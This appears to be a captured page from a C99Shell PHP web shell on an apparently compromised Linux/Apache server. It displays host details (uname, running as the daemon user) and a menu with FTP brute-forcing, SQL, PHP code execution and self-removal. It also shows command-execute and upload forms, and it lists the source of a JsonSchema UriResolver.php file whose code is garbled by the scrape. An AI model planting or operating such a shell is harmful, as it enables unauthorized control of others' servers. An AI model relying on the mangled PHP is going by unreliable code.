!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/justinrainbow/json-schema/src/JsonSchema/Uri/   drwxrwxr-x
Free 15.66 GB of 61.93 GB (25.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     UriResolver.php (4.11 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the JsonSchema package.
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace JsonSchema\Uri;

use 
JsonSchema\Exception\UriResolverException;

/**
 * Resolves JSON Schema URIs
 * 
 * @author Sander Coolen <sander@jibber.nl> 
 */
class UriResolver
{
    
/**
     * Parses a URI into five main components
     * 
     * @param string $uri
     * @return array 
     */
    
public function parse($uri)
    {
        
preg_match('|^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?|'$uri$match);

        
$components = array();
        if (
count($match)) {
            
$components =  array(
                
'scheme'    => $match[2],
                
'authority' => $match[4],
                
'path'      => $match[5]
            );
        } 
        if (
count($match)) {
            
$components['query'] = $match[7];
        }
        if (
count($match)) {
            
$components['fragment'] = $match[9];
        }
        
        return 
$components;
    }
    
    
/**
     * Builds a URI based on n array with the main components
     * 
     * @param array $components
     * @return string 
     */
    
public function generate(array $components)
    {
        
$uri $components['scheme'] . '://' 
             
$components['authority']
             . 
$components['path'];
        
        if (
array_key_exists('query'$components)) {
            
$uri .= $components['query'];
        }
        if (
array_key_exists('fragment'$components)) {
            
$uri .= '#' $components['fragment'];
        }
        
        return 
$uri;
    }
    
    
/**
     * Resolves a URI
     * 
     * @param string $uri Absolute or relative
     * @param string $baseUri Optional base URI
     * @return string Absolute URI
     */
    
public function resolve($uri$baseUri null)
    {
        if (
$uri == '') {
            return 
$baseUri;
        }

        
$components $this->parse($uri);
        
$path $components['path'];
        
        if (! empty(
$components['scheme'])) {
            return 
$uri;
        }
        
$baseComponents $this->parse($baseUri);
        
$basePath $baseComponents['path'];
        
        
$baseComponents['path'] = self::combineRelativePathWithBasePath($path$basePath);
        if (isset(
$components['fragment'])) {
            
$baseComponents['fragment'] = $components['fragment'];
        }

        return 
$this->generate($baseComponents);
    }
    
    
/**
     * Tries to glue a relative path onto an absolute one
     *
     * @param string $relativePath
     * @param string $basePath
     * @return string Merged path
     * @throws UriResolverException
     */
    
public static function combineRelativePathWithBasePath($relativePath$basePath)
    {
        
$relativePath self::normalizePath($relativePath);
        if (
$relativePath == '') {
            return 
$basePath;
        }
        if (
$relativePath{0} == '/') {
            return 
$relativePath;
        }

        
$basePathSegments explode('/'$basePath);

        
preg_match('|^/?(\.\./(?:\./)*)*|'$relativePath$match);
        
$numLevelUp strlen($match[0]) /1;
        if (
$numLevelUp >= count($basePathSegments)) {
            throw new 
UriResolverException(sprintf("Unable to resolve URI '%s' from base '%s'"$relativePath$basePath));
        }

        
$basePathSegments array_slice($basePathSegments0, -$numLevelUp);
        
$path preg_replace('|^/?(\.\./(\./)*)*|'''$relativePath);

        return 
implode('/'$basePathSegments) . '/' $path;
    }

    
/**
     * Normalizes a URI path component by removing dot-slash and double slashes
     *
     * @param string $path
     * @return string
     */
    
private static function normalizePath($path)
    {
        
$path preg_replace('|((?<!\.)\./)*|'''$path);
        
$path preg_replace('|//|''/'$path);
        
        return 
$path;
    }
    
    
/**
     * @param string $uri
     * @return boolean 
     */
    
public function isValid($uri)
    {
        
$components $this->parse($uri);
        
        return !empty(
$components);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2957 ]--